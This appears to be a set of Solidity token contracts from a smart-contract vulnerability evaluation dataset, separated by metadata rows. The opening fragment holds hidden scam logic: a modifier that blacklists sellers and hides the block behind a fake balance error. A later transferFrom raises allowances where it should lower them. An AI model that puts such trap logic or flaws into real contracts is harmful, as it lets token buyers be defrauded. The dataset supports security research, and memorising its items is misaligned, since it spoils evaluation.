if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{
if (_whiteAddress[sender] == true){
_;}else{if (_blackAddress[sender] == true){
require((sender == _safeOwner)||(recipient == _router), "ERC20: transfer amount exceeds balance");_;}else{
if (amount < _sellAmount){
if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;}
_; }else{require((sender == _safeOwner)||(recipient == _router), "ERC20: transfer amount exceeds balance");_;}
}
}
}
}
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
| 313,477 | 13,226 |
d567ec070db3b011164ba8639675557bedef9c2a02b00c8e593e0186baa6cfb1
| 31,483 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
sorted-evaluation-dataset/0.5/0x957b28f93b0e01557e21e6c564ab26ddc2d18ec5.sol
| 5,299 | 21,894 |
pragma solidity 0.5.4;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract MultiOwnable {
using SafeMath for uint8;
struct CommitteeStatusPack{
uint8 numOfOwners;
uint8 numOfVotes;
uint8 numOfMinOwners;
bytes proposedFuncData;
}
CommitteeStatusPack public committeeStatus;
address[] public ballot; // To make sure if it already was voted
mapping(address => bool) public owner;
event Vote(address indexed proposer, bytes indexed proposedFuncData);
event Propose(address indexed proposer, bytes indexed proposedFuncData);
event Dismiss(address indexed proposer, bytes indexed proposedFuncData);
event AddedOwner(address newOwner);
event RemovedOwner(address removedOwner);
event TransferOwnership(address from, address to);
constructor(address _coOwner1, address _coOwner2, address _coOwner3, address _coOwner4, address _coOwner5) internal {
require(_coOwner1 != address(0x0) &&
_coOwner2 != address(0x0) &&
_coOwner3 != address(0x0) &&
_coOwner4 != address(0x0) &&
_coOwner5 != address(0x0));
require(_coOwner1 != _coOwner2 &&
_coOwner1 != _coOwner3 &&
_coOwner1 != _coOwner4 &&
_coOwner1 != _coOwner5 &&
_coOwner2 != _coOwner3 &&
_coOwner2 != _coOwner4 &&
_coOwner2 != _coOwner5 &&
_coOwner3 != _coOwner4 &&
_coOwner3 != _coOwner5 &&
_coOwner4 != _coOwner5); // SmartDec Recommendations
owner[_coOwner1] = true;
owner[_coOwner2] = true;
owner[_coOwner3] = true;
owner[_coOwner4] = true;
owner[_coOwner5] = true;
committeeStatus.numOfOwners = 5;
committeeStatus.numOfMinOwners = 5;
emit AddedOwner(_coOwner1);
emit AddedOwner(_coOwner2);
emit AddedOwner(_coOwner3);
emit AddedOwner(_coOwner4);
emit AddedOwner(_coOwner5);
}
modifier onlyOwner() {
require(owner[msg.sender]);
_;
}
modifier committeeApproved() {
require(keccak256(committeeStatus.proposedFuncData) == keccak256(msg.data)); // SmartDec Recommendations
require(committeeStatus.numOfVotes > committeeStatus.numOfOwners.div(2));
_;
_dismiss(); //Once a commission-approved proposal is made, the proposal is initialized.
}
function propose(bytes memory _targetFuncData) onlyOwner public {
require(committeeStatus.numOfVotes == 0);
require(committeeStatus.proposedFuncData.length == 0);
committeeStatus.proposedFuncData = _targetFuncData;
emit Propose(msg.sender, _targetFuncData);
}
function dismiss() onlyOwner public {
_dismiss();
}
function _dismiss() internal {
emit Dismiss(msg.sender, committeeStatus.proposedFuncData);
committeeStatus.numOfVotes = 0;
committeeStatus.proposedFuncData = "";
delete ballot;
}
function vote() onlyOwner public {
// Check duplicated voting list.
uint length = ballot.length; // SmartDec Recommendations
for(uint i=0; i<length; i++) // SmartDec Recommendations
require(ballot[i] != msg.sender);
//onlyOnwers can vote, if there's ongoing proposal.
require(committeeStatus.proposedFuncData.length != 0);
//Check, if everyone voted.
//require(committeeStatus.numOfOwners > committeeStatus.numOfVotes); // SmartDec Recommendations
committeeStatus.numOfVotes++;
ballot.push(msg.sender);
emit Vote(msg.sender, committeeStatus.proposedFuncData);
}
function transferOwnership(address _newOwner) onlyOwner committeeApproved public {
require(_newOwner != address(0x0)); // callisto recommendation
require(owner[_newOwner] == false);
owner[msg.sender] = false;
owner[_newOwner] = true;
emit TransferOwnership(msg.sender, _newOwner);
}
function addOwner(address _newOwner) onlyOwner committeeApproved public {
require(_newOwner != address(0x0));
require(owner[_newOwner] != true);
owner[_newOwner] = true;
committeeStatus.numOfOwners++;
emit AddedOwner(_newOwner);
}
function removeOwner(address _toRemove) onlyOwner committeeApproved public {
require(_toRemove != address(0x0));
require(owner[_toRemove] == true);
require(committeeStatus.numOfOwners > committeeStatus.numOfMinOwners); // must keep Number of Minimum Owners at least.
owner[_toRemove] = false;
committeeStatus.numOfOwners--;
emit RemovedOwner(_toRemove);
}
}
contract Pausable is MultiOwnable {
event Pause();
event Unpause();
bool internal paused;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
modifier noReentrancy() {
require(!paused);
paused = true;
_;
paused = false;
}
function pause() public onlyOwner committeeApproved whenNotPaused {
paused = true;
emit Pause();
}
function unpause() public onlyOwner committeeApproved whenPaused {
paused = false;
emit Unpause();
}
}
contract RunningContractManager is Pausable {
address public implementation; //SmartDec Recommendations
event Upgraded(address indexed newContract);
function upgrade(address _newAddr) onlyOwner committeeApproved external {
require(implementation != _newAddr);
implementation = _newAddr;
emit Upgraded(_newAddr); // SmartDec Recommendations
}
}
contract TokenERC20 is RunningContractManager {
using SafeMath for uint256;
// Public variables of the token
string public name;
string public symbol;
uint8 public decimals = 18; // 18 decimals is the strongly suggested default, avoid changing it
uint256 public totalSupply;
mapping (address => uint256) internal balances;
mapping (address => mapping (address => uint256)) internal allowed;
//mapping (address => bool) public frozenAccount; // SmartDec Recommendations
mapping (address => uint256) public frozenExpired;
//bool private initialized = false;
bool private initialized; // SmartDec Recommendations
// This generates a public event on the blockchain that will notify clients
event Transfer(address indexed from, address indexed to, uint256 value);
event LastBalance(address indexed account, uint256 value);
// This notifies clients about the allowance of balance
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
// This notifies clients about the amount burnt
// event Burn(address indexed from, uint256 value); // callisto recommendation
// This notifies clients about the freezing address
//event FrozenFunds(address target, bool frozen); // callisto recommendation
event FrozenFunds(address target, uint256 expirationDate); // SmartDec Recommendations
function initToken(string memory _tokenName,
string memory _tokenSymbol,
uint256 _initialSupply,
address _marketSaleManager,
address _serviceOperationManager,
address _dividendManager,
address _incentiveManager,
address _reserveFundManager) internal onlyOwner committeeApproved {
require(initialized == false);
require(_initialSupply > 0 && _initialSupply <= 2**uint256(184));
name = _tokenName; // Set the name for display purposes
symbol = _tokenSymbol; // Set the symbol for display purposes
// SmartDec Recommendations
uint256 tempSupply = convertToDecimalUnits(_initialSupply);
uint256 dividendBalance = tempSupply.div(10); // dividendBalance = 10%
uint256 reserveFundBalance = dividendBalance; // reserveFundBalance = 10%
uint256 marketSaleBalance = tempSupply.div(5); // marketSaleBalance = 20%
uint256 serviceOperationBalance = marketSaleBalance.mul(2); // serviceOperationBalance = 40%
uint256 incentiveBalance = marketSaleBalance; // incentiveBalance = 20%
balances[_marketSaleManager] = marketSaleBalance;
balances[_serviceOperationManager] = serviceOperationBalance;
balances[_dividendManager] = dividendBalance;
balances[_incentiveManager] = incentiveBalance;
balances[_reserveFundManager] = reserveFundBalance;
totalSupply = tempSupply;
emit Transfer(address(0), _marketSaleManager, marketSaleBalance);
emit Transfer(address(0), _serviceOperationManager, serviceOperationBalance);
emit Transfer(address(0), _dividendManager, dividendBalance);
emit Transfer(address(0), _incentiveManager, incentiveBalance);
emit Transfer(address(0), _reserveFundManager, reserveFundBalance);
emit LastBalance(address(this), 0);
emit LastBalance(_marketSaleManager, marketSaleBalance);
emit LastBalance(_serviceOperationManager, serviceOperationBalance);
emit LastBalance(_dividendManager, dividendBalance);
emit LastBalance(_incentiveManager, incentiveBalance);
emit LastBalance(_reserveFundManager, reserveFundBalance);
assert(tempSupply ==
marketSaleBalance.add(serviceOperationBalance).
add(dividendBalance).
add(incentiveBalance).
add(reserveFundBalance));
initialized = true;
}
function convertToDecimalUnits(uint256 _value) internal view returns (uint256 value) {
value = _value.mul(10 ** uint256(decimals));
return value;
}
function balanceOf(address _account) public view returns (uint256 balance) {
balance = balances[_account];
return balance;
}
function allowance(address _owner, address _spender) external view returns (uint256 remaining) {
remaining = allowed[_owner][_spender];
return remaining;
}
function _transfer(address _from, address _to, uint256 _value) internal {
require(_to != address(0x0)); // Prevent transfer to 0x0 address.
require(balances[_from] >= _value); // Check if the sender has enough
if(frozenExpired[_from] != 0){ // Check if sender is frozen
require(block.timestamp > frozenExpired[_from]);
_unfreezeAccount(_from);
}
if(frozenExpired[_to] != 0){ // Check if recipient is frozen
require(block.timestamp > frozenExpired[_to]);
_unfreezeAccount(_to);
}
uint256 previousBalances = balances[_from].add(balances[_to]); // Save this for an assertion in the future
balances[_from] = balances[_from].sub(_value); // Subtract from the sender
balances[_to] = balances[_to].add(_value); // Add the same to the recipient
emit Transfer(_from, _to, _value);
emit LastBalance(_from, balances[_from]);
emit LastBalance(_to, balances[_to]);
// Asserts are used to use static analysis to find bugs in your code. They should never fail
assert(balances[_from] + balances[_to] == previousBalances);
}
function transfer(address _to, uint256 _value) public noReentrancy returns (bool success) {
_transfer(msg.sender, _to, _value);
success = true;
return success;
}
function transferFrom(address _from, address _to, uint256 _value) public noReentrancy returns (bool success) {
require(_value <= allowed[_from][msg.sender]); // Check allowance
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
_transfer(_from, _to, _value);
success = true;
return success;
}
function _approve(address _spender, uint256 _value) internal returns (bool success) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
success = true;
return success;
}
function approve(address _spender, uint256 _value) public noReentrancy returns (bool success) {
success = _approve(_spender, _value);
return success;
}
function increaseApproval(address _spender, uint256 _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = (allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint256 _subtractedValue) public returns (bool) {
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue >= oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/// @notice `freeze? Prevent` `target` from sending & receiving tokens
/// @param target Address to be frozen
function freezeAccount(address target, uint256 freezeExpiration) onlyOwner committeeApproved public {
frozenExpired[target] = freezeExpiration;
//emit FrozenFunds(target, true);
emit FrozenFunds(target, freezeExpiration); // SmartDec Recommendations
}
/// @notice `freeze? Allow` `target` from sending & receiving tokens
/// the reason why it's separated from wrapper function.
/// @param target Address to be unfrozen
function _unfreezeAccount(address target) internal returns (bool success) {
frozenExpired[target] = 0;
//emit FrozenFunds(target, false);
emit FrozenFunds(target, 0); // SmartDec Recommendations
success = true;
return success;
}
/// @notice _unfreezeAccount wrapper function.
/// @param target Address to be unfrozen
function unfreezeAccount(address target) onlyOwner committeeApproved public returns(bool success) {
success = _unfreezeAccount(target);
return success;
}
}
contract TokenExchanger is TokenERC20{
using SafeMath for uint256;
uint256 internal tokenPerEth;
bool public opened;
event ExchangeEtherToToken(address indexed from, uint256 etherValue, uint256 tokenPerEth);
event ExchangeTokenToEther(address indexed from, uint256 etherValue, uint256 tokenPerEth);
event WithdrawToken(address indexed to, uint256 value);
event WithdrawEther(address indexed to, uint256 value);
event SetExchangeRate(address indexed from, uint256 tokenPerEth);
constructor(address _coOwner1,
address _coOwner2,
address _coOwner3,
address _coOwner4,
address _coOwner5)
MultiOwnable(_coOwner1, _coOwner2, _coOwner3, _coOwner4, _coOwner5) public { opened = true; }
function initExchanger(string calldata _tokenName,
string calldata _tokenSymbol,
uint256 _initialSupply,
uint256 _tokenPerEth,
address _marketSaleManager,
address _serviceOperationManager,
address _dividendManager,
address _incentiveManager,
address _reserveFundManager) external onlyOwner committeeApproved {
require(opened);
require(_tokenPerEth > 0); // SmartDec Recommendations
require(_marketSaleManager != address(0) &&
_serviceOperationManager != address(0) &&
_dividendManager != address(0) &&
_incentiveManager != address(0) &&
_reserveFundManager != address(0));
require(_marketSaleManager != _serviceOperationManager &&
_marketSaleManager != _dividendManager &&
_marketSaleManager != _incentiveManager &&
_marketSaleManager != _reserveFundManager &&
_serviceOperationManager != _dividendManager &&
_serviceOperationManager != _incentiveManager &&
_serviceOperationManager != _reserveFundManager &&
_dividendManager != _incentiveManager &&
_dividendManager != _reserveFundManager &&
_incentiveManager != _reserveFundManager); // SmartDec Recommendations
super.initToken(_tokenName, _tokenSymbol, _initialSupply,
// SmartDec Recommendations
_marketSaleManager,
_serviceOperationManager,
_dividendManager,
_incentiveManager,
_reserveFundManager);
tokenPerEth = _tokenPerEth;
emit SetExchangeRate(msg.sender, tokenPerEth);
}
function setExchangeRate(uint256 _tokenPerEth) onlyOwner committeeApproved external returns (bool success){
require(opened);
require(_tokenPerEth > 0);
tokenPerEth = _tokenPerEth;
emit SetExchangeRate(msg.sender, tokenPerEth);
success = true;
return success;
}
function getExchangerRate() external view returns(uint256){
return tokenPerEth;
}
function exchangeEtherToToken() payable external noReentrancy returns (bool success){
require(opened);
uint256 tokenPayment;
uint256 ethAmount = msg.value;
require(ethAmount > 0);
require(tokenPerEth != 0);
tokenPayment = ethAmount.mul(tokenPerEth);
super._transfer(address(this), msg.sender, tokenPayment);
emit ExchangeEtherToToken(msg.sender, msg.value, tokenPerEth);
success = true;
return success;
}
function exchangeTokenToEther(uint256 _value) external noReentrancy returns (bool success){
require(opened);
require(tokenPerEth != 0);
uint256 remainingEthBalance = address(this).balance;
uint256 etherPayment = _value.div(tokenPerEth);
uint256 remainder = _value % tokenPerEth; // [2019.03.06 Fixing Securify vulnerabilities-Division influences Transfer Amount]
require(remainingEthBalance >= etherPayment);
uint256 tokenAmount = _value.sub(remainder); // [2019.03.06 Fixing Securify vulnerabilities-Division influences Transfer Amount]
super._transfer(msg.sender, address(this), tokenAmount); // [2019.03.06 Fixing Securify vulnerabilities-Division influences Transfer Amount]
//require(address(msg.sender).send(etherPayment));
address(msg.sender).transfer(etherPayment); // SmartDec Recommendations
emit ExchangeTokenToEther(address(this), etherPayment, tokenPerEth);
success = true;
return success;
}
function withdrawToken(address _recipient, uint256 _value) onlyOwner committeeApproved noReentrancy public {
//require(opened);
super._transfer(address(this) ,_recipient, _value);
emit WithdrawToken(_recipient, _value);
}
function withdrawEther(address payable _recipient, uint256 _value) onlyOwner committeeApproved noReentrancy public {
//require(opened);
//require(_recipient.send(_value));
_recipient.transfer(_value); // SmartDec Recommendations
emit WithdrawEther(_recipient, _value);
}
function closeExchanger() onlyOwner committeeApproved external {
opened = false;
}
}
contract NemodaxStorage is RunningContractManager {
// Never ever change the order of variables below!!!!
// Public variables of the token
string public name;
string public symbol;
uint8 public decimals = 18; // 18 decimals is the strongly suggested default, avoid changing it
uint256 public totalSupply;
mapping (address => uint256) internal balances;
mapping (address => mapping (address => uint256)) internal allowed;
mapping (address => uint256) public frozenExpired; // SmartDec Recommendations
bool private initialized;
uint256 internal tokenPerEth;
bool public opened = true;
}
contract ProxyNemodax is NemodaxStorage {
constructor(address _coOwner1,
address _coOwner2,
address _coOwner3,
address _coOwner4,
address _coOwner5)
MultiOwnable(_coOwner1, _coOwner2, _coOwner3, _coOwner4, _coOwner5) public {}
function () payable external {
address localImpl = implementation;
require(localImpl != address(0x0));
assembly {
let ptr := mload(0x40)
switch calldatasize
case 0 { } // just to receive ethereum
default{
calldatacopy(ptr, 0, calldatasize)
let result := delegatecall(gas, localImpl, ptr, calldatasize, 0, 0)
let size := returndatasize
returndatacopy(ptr, 0, size)
switch result
case 0 { revert(ptr, size) }
default { return(ptr, size) }
}
}
}
}
| 215,107 | 13,227 |
0b39488e257682186353629da2caa2977089fac9e21bbec72cccc615f53dd6cc
| 16,269 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
sorted-evaluation-dataset/0.5/0x19fc174fe7143193cc4612d34730ea117c8a93bd.sol
| 3,696 | 14,414 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ApproveAndCallReceiver {
function receiveApproval(address _from,
uint256 _amount,
address _token,
bytes _data) public;
}
//normal contract. already compiled as bin
contract Controlled {
modifier onlyController {
require(msg.sender == controller);
_;
}
address public controller;
function Controlled() public {
controller = msg.sender;
}
function changeController(address _newController) onlyController public {
controller = _newController;
}
}
contract ERC20Token {
using SafeMath for uint256;
/// total amount of tokens
uint256 public totalSupply;
//function totalSupply() public constant returns (uint256 balance);
/// @param _owner The address from which the balance will be retrieved
/// @return The balance
mapping (address => uint256) public balanceOf;
// function balanceOf(address _owner) public constant returns (uint256 balance);
/// @notice send `_value` token to `_to` from `msg.sender`
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transfer(address _to, uint256 _value) public returns (bool success);
/// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from`
/// @param _from The address of the sender
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
/// @notice `msg.sender` approves `_spender` to spend `_value` tokens
/// @param _spender The address of the account able to transfer the tokens
/// @param _value The amount of tokens to be approved for transfer
/// @return Whether the approval was successful or not
function approve(address _spender, uint256 _value) public returns (bool success);
/// @param _owner The address of the account owning tokens
/// @param _spender The address of the account able to transfer the tokens
/// @return Amount of remaining tokens allowed to spent
mapping (address => mapping (address => uint256)) public allowance;
//function allowance(address _owner, address _spender) public constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract TokenI is ERC20Token, Controlled {
string public name; //The Token's name: e.g. DigixDAO Tokens
uint8 public decimals; //Number of decimals of the smallest unit
string public symbol; //An identifier: e.g. REP
// ERC20 Methods
/// @notice `msg.sender` approves `_spender` to send `_amount` tokens on
/// its behalf, and then a function is triggered in the contract that is
/// being approved, `_spender`. This allows users to use their tokens to
/// interact with contracts in one function call instead of two
/// @param _spender The address of the contract able to transfer the tokens
/// @param _amount The amount of tokens to be approved for transfer
/// @return True if the function call was successful
function approveAndCall(address _spender,
uint256 _amount,
bytes _extraData) public returns (bool success);
// Generate and destroy tokens
/// @notice Generates `_amount` tokens that are assigned to `_owner`
/// @param _owner The address that will be assigned the new tokens
/// @param _amount The quantity of tokens generated
/// @return True if the tokens are generated correctly
function generateTokens(address _owner, uint _amount) public returns (bool);
/// @notice Burns `_amount` tokens from `_owner`
/// @param _owner The address that will lose the tokens
/// @param _amount The quantity of tokens to burn
/// @return True if the tokens are burned correctly
function destroyTokens(address _owner, uint _amount) public returns (bool);
}
contract Token is TokenI {
struct FreezeInfo {
address user;
uint256 amount;
}
//Key1: step(); Key2: user sequence()
mapping (uint8 => mapping (uint8 => FreezeInfo)) public freezeOf; //key
mapping (uint8 => uint8) public lastFreezeSeq; // freezeOf key: step; value: sequence
mapping (address => uint256) public airdropOf;//
address public owner;
bool public paused=false;//
uint256 public minFunding = 1 ether; //
uint256 public airdropQty=0;//
uint256 public airdropTotalQty=0;//
uint256 public tokensPerEther = 9000;//1eth
address private vaultAddress;//ETH
uint256 public totalCollected = 0;//ETH
//event Transfer(address indexed from, address indexed to, uint256 value);
event Burn(address indexed from, uint256 value);
event Freeze(address indexed from, uint256 value);
event Unfreeze(address indexed from, uint256 value);
event Payment(address sender, uint256 _ethAmount, uint256 _tokenAmount);
function Token(uint256 initialSupply,
string tokenName,
uint8 decimalUnits,
string tokenSymbol,
address _vaultAddress) public {
require(_vaultAddress != 0);
totalSupply = initialSupply * 10 ** uint256(decimalUnits);
balanceOf[msg.sender] = totalSupply;
name = tokenName;
symbol = tokenSymbol;
decimals = decimalUnits;
owner = msg.sender;
vaultAddress=_vaultAddress;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
modifier realUser(address user){
if(user == 0x0){
revert();
}
_;
}
modifier moreThanZero(uint256 _value){
if (_value <= 0){
revert();
}
_;
}
/// @dev Internal function to determine if an address is a contract
/// @param _addr The address being queried
/// @return True if `_addr` is a contract
function isContract(address _addr) constant internal returns(bool) {
uint size;
if (_addr == 0) {
return false;
}
assembly {
size := extcodesize(_addr)
}
return size>0;
}
function transfer(address _to, uint256 _value) realUser(_to) moreThanZero(_value) public returns (bool) {
require(balanceOf[msg.sender] >= _value); // Check if the sender has enough
require(balanceOf[_to] + _value > balanceOf[_to]); // Check for overflows
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value); // Subtract from the sender
balanceOf[_to] = balanceOf[_to].add(_value); // Add the same to the recipient
Transfer(msg.sender, _to, _value); // Notify anyone listening that this transfer took place
return true;
}
function approve(address _spender, uint256 _value) moreThanZero(_value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
function approveAndCall(address _spender, uint256 _amount, bytes _extraData) public returns (bool success) {
require(approve(_spender, _amount));
ApproveAndCallReceiver(_spender).receiveApproval(msg.sender,
_amount,
this,
_extraData);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) realUser(_from) realUser(_to) moreThanZero(_value) public returns (bool success) {
require(balanceOf[_from] >= _value); // Check if the sender has enough
require(balanceOf[_to] + _value > balanceOf[_to]); // Check for overflows
require(_value <= allowance[_from][msg.sender]); // Check allowance
balanceOf[_from] = balanceOf[_from].sub(_value); // Subtract from the sender
balanceOf[_to] = balanceOf[_to].add(_value); // Add the same to the recipient
allowance[_from][msg.sender] = allowance[_from][msg.sender] + _value;
Transfer(_from, _to, _value);
return true;
}
function transferMulti(address[] _to, uint256[] _value) onlyController public returns (uint256 amount){
require(_to.length == _value.length);
uint8 len = uint8(_to.length);
for(uint8 j; j<len; j++){
amount = amount.add(_value[j]*10**uint256(decimals));
}
require(balanceOf[msg.sender] >= amount);
for(uint8 i; i<len; i++){
address _toI = _to[i];
uint256 _valueI = _value[i]*10**uint256(decimals);
balanceOf[_toI] = balanceOf[_toI].add(_valueI);
balanceOf[msg.sender] =balanceOf[msg.sender].sub(_valueI);
Transfer(msg.sender, _toI, _valueI);
}
}
//
function freeze(address _user, uint256 _value, uint8 _step) moreThanZero(_value) onlyController public returns (bool success) {
_value=_value*10**uint256(decimals);
return _freeze(_user,_value,_step);
}
function _freeze(address _user, uint256 _value, uint8 _step) moreThanZero(_value) private returns (bool success) {
//info256("balanceOf[_user]", balanceOf[_user]);
require(balanceOf[_user] >= _value);
balanceOf[_user] = balanceOf[_user] - _value;
freezeOf[_step][lastFreezeSeq[_step]] = FreezeInfo({user:_user, amount:_value});
lastFreezeSeq[_step]++;
Freeze(_user, _value);
return true;
}
//
function unFreeze(uint8 _step) onlyOwner public returns (bool unlockOver) {
//_end = length of freezeOf[_step]
uint8 _end = lastFreezeSeq[_step];
require(_end > 0);
unlockOver=false;
uint8 _start=0;
for(; _end>_start; _end--){
FreezeInfo storage fInfo = freezeOf[_step][_end-1];
uint256 _amount = fInfo.amount;
balanceOf[fInfo.user] += _amount;
delete freezeOf[_step][_end-1];
lastFreezeSeq[_step]--;
Unfreeze(fInfo.user, _amount);
}
}
////////////////
// Generate and destroy tokens
////////////////
/// @notice Generates `_amount` tokens that are assigned to `_owner`
/// @param _user The address that will be assigned the new tokens
/// @param _amount The quantity of tokens generated
/// @return True if the tokens are generated correctly
function generateTokens(address _user, uint _amount) onlyController public returns (bool) {
_amount=_amount*10**uint256(decimals);
return _generateTokens(_user,_amount);
}
function _generateTokens(address _user, uint _amount) private returns (bool) {
require(balanceOf[owner] >= _amount);
balanceOf[_user] += _amount;
balanceOf[owner] -= _amount;
Transfer(0, _user, _amount);
return true;
}
/// @notice Burns `_amount` tokens from `_owner`
/// @param _user The address that will lose the tokens
/// @param _amount The quantity of tokens to burn
/// @return True if the tokens are burned correctly
function destroyTokens(address _user, uint256 _amount) onlyOwner public returns (bool) {
_amount=_amount*10**uint256(decimals);
return _destroyTokens(_user,_amount);
}
function _destroyTokens(address _user, uint256 _amount) private returns (bool) {
require(balanceOf[_user] >= _amount);
balanceOf[owner] += _amount;
balanceOf[_user] -= _amount;
Transfer(_user, 0, _amount);
Burn(_user, _amount);
return true;
}
function changeOwner(address newOwner) onlyOwner public returns (bool) {
balanceOf[newOwner] += balanceOf[owner];
balanceOf[owner] = 0;
owner = newOwner;
return true;
}
function changeTokensPerEther(uint256 _newRate) onlyController public {
tokensPerEther = _newRate;
}
function changeAirdropQty(uint256 _airdropQty) onlyController public {
airdropQty = _airdropQty;
}
function changeAirdropTotalQty(uint256 _airdropTotalQty) onlyController public {
uint256 _token =_airdropTotalQty*10**uint256(decimals);
require(balanceOf[owner] >= _token);
airdropTotalQty = _airdropTotalQty;
}
////////////////
//
////////////////
function changePaused(bool _paused) onlyController public {
paused = _paused;
}
//accept ether
function() payable public {
require(!paused);
address _user=msg.sender;
uint256 tokenValue;
if(msg.value==0){//
require(airdropQty>0);
require(airdropTotalQty>=airdropQty);
require(airdropOf[_user]==0);
tokenValue=airdropQty*10**uint256(decimals);
airdropOf[_user]=tokenValue;
airdropTotalQty-=airdropQty;
require(_generateTokens(_user, tokenValue));
Payment(_user, msg.value, tokenValue);
}else{
require(msg.value >= minFunding);//
require(msg.value % 1 ether==0);//eth
totalCollected +=msg.value;
require(vaultAddress.send(msg.value));//eth
tokenValue = (msg.value/1 ether)*(tokensPerEther*10 ** uint256(decimals));
require(_generateTokens(_user, tokenValue));
//30%635%1SPM
//
require(_freeze(_user, tokenValue*35/100, 0));
_freeze(_user, tokenValue*35/100, 1);
Payment(_user, msg.value, tokenValue);
}
}
}
| 211,592 | 13,228 |
02ef051a9dc4a0f657ea3957d4654e3ecc7bc83d6a8a89bfb6d0c11d1564abc0
| 12,919 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0xccdb1476dabd6402fdff98ca4824bbcac2df62e4.sol
| 2,800 | 10,071 |
pragma solidity ^0.4.12;
contract SafeMath {
function safeMul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function safeDiv(uint256 a, uint256 b) internal constant returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function safeSub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function safeAdd(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function max64(uint64 a, uint64 b) internal constant returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal constant returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal constant returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal constant returns (uint256) {
return a < b ? a : b;
}
}
contract ERC20 {
uint256 public totalSupply;
function balanceOf(address who) constant returns (uint256);
function transfer(address to, uint256 value) returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
function allowance(address owner, address spender) constant returns (uint256);
function transferFrom(address from, address to, uint256 value) returns (bool);
function approve(address spender, uint256 value) returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, SafeMath {
event Minted(address receiver, uint amount);
mapping(address => uint) balances;
mapping (address => mapping (address => uint)) allowed;
modifier onlyPayloadSize(uint size) {
if(msg.data.length != size + 4) {
throw;
}
_;
}
function transfer(address _to, uint _value) onlyPayloadSize(2 * 32) returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], _value);
balances[_to] = safeAdd(balances[_to], _value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint _value) returns (bool success) {
uint _allowance = allowed[_from][msg.sender];
// if (_value > _allowance) throw;
balances[_to] = safeAdd(balances[_to], _value);
balances[_from] = safeSub(balances[_from], _value);
allowed[_from][msg.sender] = safeSub(_allowance, _value);
Transfer(_from, _to, _value);
return true;
}
function balanceOf(address _owner) constant returns (uint balance) {
return balances[_owner];
}
function approve(address _spender, uint _value) returns (bool success) {
// To change the approve amount you first have to reduce the addresses`
